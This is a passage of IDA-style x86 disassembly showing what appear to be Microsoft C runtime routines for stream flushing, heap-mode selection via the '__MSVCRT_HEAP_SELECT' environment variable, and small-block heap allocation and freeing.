push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
nop
call near ptr 28005AFh
test eax, eax
jnz short loc_41DAEB
call near ptr 2830047h
nop
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB92C, 0
mov dword_4DB928, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DCC60, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DBC48
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DCC60
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 2830635h
nop
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 2880000h
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call near ptr 2A50000h
nop
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2810000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 642217E8h
dd 0A3C08502h, 4DCFC4h, 93E83674h, 83FFFFFEh, 0C8A303F8h
dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFC435FFh, 0E890004Dh
dd 2632F79h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFC4h
dd 21BEE890h, 0C0850254h, 4DCFBCA3h, 0C3017500h, 4244C8Bh
dd 0CFB42583h, 8300004Dh, 4DCFB825h, 16A0000h, 4DCFB0A3h
dd 0C00D8900h, 0C7004DCFh, 4DCFA805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DCFB8
lea ecx, [eax+eax*4]
mov eax, dword_4DCFBC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DCFB4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DCFAC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DCFAC
mov eax, dword_4DCFB4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DCFB4
mov ecx, dword_4DCFAC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DCFB4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DCFB4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DCFB4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DCFB4
push dword ptr [eax+10h]
push 0
push dword_4DCFC4
call near ptr 2950000h
nop
mov eax, dword_4DCFB8
mov edx, dword_4DCFBC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DCFB4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DCFB8
cmp eax, dword_4DCFB4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DCFBC
mov dword_4DCFB0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DCFAC, edi
mov dword_4DCFB4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DCFB8
mov edx, dword_4DCFBC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DCFB0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DCFB0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DCFB4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DCFAC
jnz short loc_41E4C7
and dword_4DCFB4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
mov eax, dword_4DCFB8
mov ecx, dword_4DCFA8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DCFBC
push edi
push dword_4DCFC4
nop
call near ptr 2A00000h
cmp eax, edi
jz short loc_41E567
add dword_4DCFA8, 10h
mov dword_4DCFBC, eax
mov eax, dword_4DCFB8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DCFBC
push 41C4h
